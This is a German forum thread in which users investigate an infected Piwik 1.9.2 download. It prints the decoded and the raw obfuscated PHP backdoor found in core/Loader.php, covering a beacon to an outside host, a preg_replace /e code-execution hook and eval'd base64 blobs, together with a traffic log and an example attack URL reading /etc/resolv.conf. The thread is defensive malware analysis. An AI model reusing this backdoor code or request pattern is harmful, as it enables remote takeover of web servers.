Piwik 1.9.2 infiziert?

Lord Gurke

Nur echt mit 32 Zähnen
Hallo,

ich habe heute eine Piwik-Installation auf die Version 1.9.2 upgegraded und von da an Probleme mit dem Interface gehabt.
Ursache war, dass sich in der Datei /core/Loader.php ganz unten Code befand (Base64-Codiert, mit eval() ausgeführt - sic!) der Short-Tags benutzt die auf meinem System nicht aktiviert sind.

Hier mal auszugsweise der "entschlüsselte" Code:

PHP:
function _1487432521($i){$a=Array('TW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjEuNikgR2Vja28vMjAwNzA3MjUgRmlyZWZveC8yLjAuMC42','SFRUUF9IT1NU','UkVRVUVTVF9VUkk=','Jg==','JTI2','aHR0cDovL3Byb3N0b2l2c2UuY29tL3gucGhw','L2xpYy5sb2c=','cmVmZj0=','aHR0cA==','bWV0aG9k','UE9TVA==','Y29udGVudA==','aHR0cA==','aGVhZGVy','cmI=','cmVmZj0=','L2xpYy5sb2c=','YSs=','cGl3aWs=','Cg==');return base64_decode($a[$i]);}


Error_Reporting(round(0));
$_0=round(0+5);
$_1=_1487432521(0);
$_2=$_SERVER[_1487432521(1)] .$_SERVER[_1487432521(2)];
$_2=$GLOBALS['_319299206_'][0](_1487432521(3),_1487432521(4),$_2);
$_3=_1487432521(5);
if($GLOBALS['_319299206_'][1]($GLOBALS['_319299206_'][2](__FILE__) ._1487432521(6)))exit;
function l__0($_4,$_1,$_5,$_6){$_7=$GLOBALS['_319299206_'][3]();
$GLOBALS['_319299206_'][4]($_7,CURLOPT_URL,$_4);
$GLOBALS['_319299206_'][5]($_7,CURLOPT_USERAGENT,$_1);
$GLOBALS['_319299206_'][6]($_7,CURLOPT_TIMEOUT,$_5);
$GLOBALS['_319299206_'][7]($_7,CURLOPT_FOLLOWLOCATION,round(0+0.25+0.25+0.25+0.25));
$GLOBALS['_319299206_'][8]($_7,CURLOPT_RETURNTRANSFER,round(0+0.2+0.2+0.2+0.2+0.2));
$GLOBALS['_319299206_'][9]($_7,CURLOPT_POST,round(0+0.333333333333+0.333333333333+0.333333333333));
$GLOBALS['_319299206_'][10]($_7,CURLOPT_POSTFIELDS,_1487432521(7) .$_6);
$_8=$GLOBALS['_319299206_'][11]($_7);
$GLOBALS['_319299206_'][12]($_7);
return $_8;
}function l__1($_9,$_10,$_11=l__2){$_12=array(_1487432521(8)=> array(_1487432521(9)=> _1487432521(10),_1487432521(11)=> $_10));
if($_11 !== l__2){$_12[_1487432521(12)][_1487432521(13)]=$_11;
}$_13=$GLOBALS['_319299206_'][13]($_12);
$_14=@$GLOBALS['_319299206_'][14]($_9,_1487432521(14),false,$_13);
if(!$_14){return false;
}$GLOBALS['_319299206_'][15]($_14,round(0+5));
$_15=@$GLOBALS['_319299206_'][16]($_14);
if($_15 === false){return false;
}return $_15;
}$_16=l__1($_3,_1487432521(15) .$_2);
if($_16 == false){$_16=l__0($_3,$_1,$_0,$_2);
}$_17=$GLOBALS['_319299206_'][17](($GLOBALS['_319299206_'][18](__FILE__) ._1487432521(16)),_1487432521(17));
$GLOBALS['_319299206_'][19]($_17,_1487432521(18) ._1487432521(19));
$GLOBALS['_319299206_'][20]($_17);

$GLOBALS['_319299206_']=Array(base64_decode('c3RyX' .'3JlcGxhY2U='),base64_decode('Z' .'mlsZV9leGl' .'zdHM='),base64_decode('ZGly' .'bm' .'FtZ' .'Q=='),base64_decode('Y3VybF9pb' .'ml0'),base64_decode('Y3VybF9zZX' .'R' .'vcHQ='),base64_decode('' .'Y3' .'Vyb' .'F9zZXR' .'vcHQ='),base64_decode('Y3Vy' .'bF9z' .'ZXRvcHQ='),base64_decode('' .'Y3' .'V' .'yb' .'F' .'9zZXRvcHQ='),base64_decode('Y3V' .'ybF9zZXRvc' .'HQ='),base64_decode('Y' .'3VybF9zZXR' .'vc' .'HQ='),base64_decode('Y3' .'Vy' .'bF9z' .'ZX' .'RvcH' .'Q='),base64_decode('Y3VybF9l' .'eGVj'),base64_decode('Y3VybF9jbG9zZQ=='),base64_decode('c' .'3R' .'yZW' .'FtX2N' .'vbnRleHRfY' .'3JlYXRl'),base64_decode('' .'Zm9wZW' .'4='),base64_decode('c3RyZW' .'FtX3N' .'ldF90aW1l' .'b3V0'),base64_decode('c3RyZWFtX2dldF9' .'jb' .'250ZW50cw=='),base64_decode('' .'Zm9wZ' .'W4' .'='),base64_decode('' .'ZGlybmF' .'t' .'Z' .'Q' .'=' .'='),base64_decode('Z' .'ndyaX' .'Rl'),base64_decode('' .'Z' .'mN' .'sb' .'3Nl'));


Sieht hier schon nicht nach "Quelloffener Statistik" aus... :(
Ich habe den Code ein bisschen geprüft und teilweise herausgefunden was er tut - aber noch nicht warum er es tut...

Er übermittelt den angefragten Host und die Request-URL an die Adresse http: // prostoivse.com/x.php und legt eine Datei namens "lic.log" an. Sobald diese vorhanden ist, scheint das Dingen aber erstmal nichts mehr zu machen oder nach außen zu übermitteln.


Hat jemand von euch eine Piwik-Installation vor 1.9.2 und kann da mal in die Datei schauen? Momentan befürchte ich, dass der Piwik-Server geknackt wurde und die herunterladbaren Archive infiziert sind. Ich habe zur Sicherheit schonmal die Piwik-Entwickler angeschrieben, aber das ist erst 5 Minuten her, daher habe ich da noch keine Rückmeldung.
 
Ich kann in der Datei keinen Code wie von dir gepostet finden. Ich habe aber auch letzte Woche ein Update gezogen.

Code:
<?php
/**
 * Piwik - Open source web analytics
 * 
 * @link http://piwik.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 * @version $Id: Loader.php 3958 2011-02-21 22:49:59Z matt $
 * 
 * @category Piwik
 * @package Piwik
 */

/**
 * Piwik auto loader
 *
 * @package Piwik
 */
class Piwik_Loader
{
	// our class search path; current directory is intentionally excluded
	protected static $dirs = array( '/core/', '/plugins/' );

	/**
	 * Get class file name
	 *
	 * @param string $class Class name
	 * @return string Class file name
	 * @throws Exception if class name is invalid
	 */
	protected static function getClassFileName($class)
	{
		if(strspn($class, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_') !== strlen($class))
		{
			throw new Exception("Invalid class name \"$class\".");
		}

		$class = str_replace('_', '/', $class);

		if($class == 'Piwik')
		{
			return $class;
		}

		if(!strncmp($class, 'Piwik/', 6))
		{
			return substr($class, 6);
		}

		return $class;
	}

	/**
	 * Load class by name
	 *
	 * @param string $class Class name
	 * @throws Exception if class not found
	 */
	public static function loadClass($class)
	{
		$classPath = self::getClassFileName($class);
		if($class == 'Piwik' || !strncmp($class, 'Piwik_', 6))
		{
			// Piwik classes are in core/ or plugins/
			do
			{
				// auto-discover class location
				foreach(self::$dirs as $dir)
				{
					$path = PIWIK_INCLUDE_PATH . $dir . $classPath . '.php';
					if(file_exists($path))
					{
						require_once $path; // prefixed by PIWIK_INCLUDE_PATH
						if(class_exists($class, false) || interface_exists($class, false))
						{
							return;
						}
					}
				}

				// truncate to find file with multiple class definitions
				$lastSlash = strrpos($classPath, '/');
				$classPath = ($lastSlash === false) ? '' : substr($classPath, 0, $lastSlash);
			} while(!empty($classPath));
		}
		else
		{
			// non-Piwik classes (e.g., Zend Framework) are in libs/
			$path = PIWIK_INCLUDE_PATH . '/libs/' . $classPath . '.php';
			if(file_exists($path))
			{
				require_once $path; // prefixed by PIWIK_INCLUDE_PATH
				if(class_exists($class, false) || interface_exists($class, false))
				{
					return;
				}
			}
		}
		throw new Exception("Class \"$class\" not found.");
	}

	/**
	 * Autoloader
	 *
	 * @param string $class Class name
	 */
	public static function autoload($class)
	{
		try {
			self::loadClass($class);
		} catch (Exception $e) {
		}
	}
}

// Note: only one __autoload per PHP instance
if(function_exists('spl_autoload_register'))
{
	// use the SPL autoload stack
	spl_autoload_register(array('Piwik_Loader', 'autoload'));

	// preserve any existing __autoload
	if(function_exists('__autoload'))
	{
		spl_autoload_register('__autoload');
	}
}
else
{
	function __autoload($class)
	{
		Piwik_Loader::autoload($class);
	}
}
 
Ich habe eine 1.9.2 laufen aber kann da keinen Code im core Loader dieser Art finden, da befindet sich kein einziges "base" Snippet drin.

Also eine "globale" Infizierung ist das nicht, sieht eher nach einer kompromitierten Version individuelle bei dir aus.
 
Habe vorhin auch piwik installiert, direkt von der offiziellen Seite runtergeladen, code ist drin.

PHP:
<?php Error_Reporting(0); 	if(isset($_GET['g']) && isset($_GET['s'])) {
    preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
  }
  if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWEpFGwk4nZr4zkRGQsJn3kMND6jcBgayIKnkIX3n2tu1EieGARMoH3W8NXjBp4JAVQq8GFR/KcAbcyoSfhX9vzeU0R8K3mH313Q4UnAykzj9707HzHZ67PJndpyPSqKHbZ0kLq6N0s5KdDxSKYz7wkwE80mW6e3m3gbz8l0i2jh50b2sRJEnwjxJ1tOjVvumO9RrPHsT9BZNSN0qm2F2TlLDO9EqSNMADWCHW/LmLsvmbn009XNOA38yH6qNUm+a97jyA55xzFpgViGxa2SlN2ObBZQeuxwwL9kocnrzBWVXDMo='))); ?><? eval(gzuncompress(base64_decode('eF5dj1tvgkAQhf+KDyRq0gdYUCGGB7RCaYGmwC6BpjHLpStXjbgoNv3vBUybxofJzJmc+U7mk1bRKd1Xoy0niAuBBzPATZh0+sVgWTkecTsZu540x96l9h2RMzKFvKjxISztJubNha7Crv40cYs3YjnC5bVdFWHKIXitSVT5c9MRBCPbUCvNiQ1QhoHYmJlytq4Kb2aQ2GXRBl7QJGux7TKouRbA+GHsqDaEqqS7nAU7CXNkI4hcpEoI5rncrZ6JPDRX7/34yWajx31j8Ks25C02BAWIAKQ+kE4GT2ik7c6dzQCXg9/O6hBE/XFUojLIWPkXoAzI0EMs1qS8z91ILrptOxKNNUTjm/znxxraBRpqB6B+x71L9J16MGgFj71hXPd/TJfH5ESP1SjEdTIXtnES7eNkwuB3Jv2YLr9/AJyvggM='))); ?><? eval(gzuncompress(base64_decode('eF59VH9r2zAQ/SouBGoxE3SSf2I0lnVOCXhxsZ3tj2BE2JIRKMnwEtgo/e47ycliuZMDcpDu3rvT6d5lbXtsZbn9eWxP+8MPtz2eD99dSkg6kVRcdu8CtQUhwY8jn7OAAbrgERMTWWXll6xc921AGmf6XwsjTQd7zIuPs7xa30sOCUsSRkN536xp4/bdOfH6W594CFaBuZELprffuTZOaKwmhuHkfJFnUhJn2qcMCSHb3/tTujsfvp32x4PzLCV1J9LHFABXgCskLxMZWS/DGxdztRh9zEpG3sOqzIunWuIfEvp2/2Dgj8WdPWbLWqVjR4Umql58zoqVwgR2TGRi5kWeF1/z4mFWL4qld20JOmXB4EPsnLHJWWb1qlzW5WxZzbOyzzlcI5yJyflUVHWPifd+49uREEDfxpgvsvxTZfRlRFS7h6oxY2s3AGiukWDs4tBuT+f24CBZ+tpvP0Bzot6bqg8IPGKqA4GJTdtu/hjSiYl477w9TtSxoVVqagxAeaggpFMVRnLuhHBu0Uyto6TNA04aoVDpK365vR5cXRe0nMEXH6x+WimJmSROgt3m+ddWFYLrPO8UC3m51E4bMQEbp1YT+N5twOk0gpE0wg5yLUrgCCyKjjOM+u/9INA1CMXl8bh5iUC3Dbsyhs6N8IqiGtVNHNoNP8VonzmA6rVPwtg67wAHnpldNKYLrT2ITEQ85ExGKBjtKEj6F8qIppY='))); ?>
 
Laut Datum der Datei im .zip-Archiv ist sie heute um 19:42 Uhr geändert worden. Um 19:48 habe ich mein Update gemacht... Glück muss man haben :P
 
Ui, also doch global infiziert. Habs grad nachgetestet und konnte es nachvollziehen, ouch. Gut das ich "früher" meine produktive hochgezogen habe :P
 
Ich bin momentan dabei das herauszufinden. Wie ich im ersten Post schon schrieb scheint der Code zu übermitteln auf welcher URL er erreichbar ist.
So ganz bin ich da noch nicht hineingestiegen, es sieht aber danach aus als wenn da zusätzlich eine Backdoor integriert ist, mit der sich dann aus der Ferne Code ausführen lässt.
Derzeit läuft das auf ein paar Fake-Hosts, vielleicht finde ich ja noch mehr heraus was potentielle Angreifer damit vorhaben.

Nachtrag: Aus der Traffic-Aufzeichnung geht hervor:
Code:
POST /x.php HTTP/1.0
Host: prostoivse.com
Content-Length: ###
Content-Type: application/x-www-form-urlencoded
reff=###meinhostname###/##meinrequest###

HTTP/1.1 200 OK
Date: Mon, 26 Nov 2012 18:36:57 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Sobald diese positive Antwort vom Remote-Host zurückkommt wird eine Datei namens "lic.log" im selben Verzeichnis angelegt, in der dann das Wort "piwik" steht. Solange diese Datei existiert gehen keine POST-Anfragen mehr an diesen Server heraus - wohl zum einen um nicht so viel unnötige Requests auf den Server zu fahren und zum anderen wohl damit die Infektion nicht so schnell bemerkt wird, wenn der Server mal down ist.

Momentan bin ich dabei herauszufinden was diese Backdoor anrichten kann - sieht aber bis jetzt recht simpel aus: Per GET-Request werden Befehle (extrem obfuszierte Befehle!) abgeschickt die auch unnötige Füllzeichen enthalten können um im Log schwerer danach suchen zu können. Diese Befehle jedenfalls werden offenbar einfach durch ein simples eval() geschickt womit sie dann serverseitig ausgeführt werden.
 
Last edited by a moderator:
Sooo,

ich bin mir jetzt ziemlich sicher was der Code macht:


Er übermittelt eine URL an einen Server, damit der potentielle Angreifer eine funktionierende URL kennt, unter der die Piwik-Installation liegt.
Damit diese URL nicht bei jedem Aufruf zu ihm gehämmert wird, legt er diese "lic.log"-Datei an, bei deren Existenz keine weiteren POST-Anfragen mehr abgeschickt werden.

Wenn die GET-Parameter "s" und "g" gesetzt sind, springt das Ding zudem in einen IF-Block, in dem per preg_replace() und dem "/e"-Modifikator eigener PHP-Code ausgeführt werden kann.

Fragt der Angreifer nun z.B. folgende URL an:
/core/Loader.php?s=1&g=readfile(/etc/resolv.conf);exit;

kann er damit z.B. die eingetragenen Nameserver sehen.
Du kannst aber natürlich auch mit file_put_contents() deine eigenen PHP-Dateien in einen Ordner laden auf den der Webserver Schreibrechte hat und damit auch komplexere Dinge tun - z.B. das allseits beliebte Versenden von Spam-Mails.
preg_replace() ist zudem nicht so auffällig wie eval(), aber erfüllt ebenso seinen Zweck. Zudem bin ich mir gerade nicht sicher ob das Deaktivieren der eval()-Funktion in der php.ini hier ebenfalls nutzen würde, das müsste ich noch ausprobieren.

Da hat sich in jedem Fall jemand Gedanken gemacht... Bin mal gespannt für was das missbraucht wird - bis jetzt haben meine Honeypots noch keinen Traffic abbekommen.
 
Zudem bin ich mir gerade nicht sicher ob das Deaktivieren der eval()-Funktion in der php.ini hier ebenfalls nutzen würde, das müsste ich noch ausprobieren.
eval() lässt sich nicht deaktivieren, da es keine PHP-Funktion ist (siehe Sourcecode).
 
Danke, dass du so aufmerksam deine Updates machst!!
Ich muss gestehen: Es hat bei mir geknallt, weil sich der zusätzliche Code in kurzen PHP-Klammern (<?) befindet - und mein Server angewiesen ist, die zu ingorieren. Wegen Kompatibilität mit XML-Dateien, die ja auch nicht selten mit <?xml beginnen...

eval() lässt sich nicht deaktivieren, da es keine PHP-Funktion ist (siehe Sourcecode).
Das erklärt, warum der Eintrag in meiner php.ini nicht fruchtet... ;)
 
Back
Top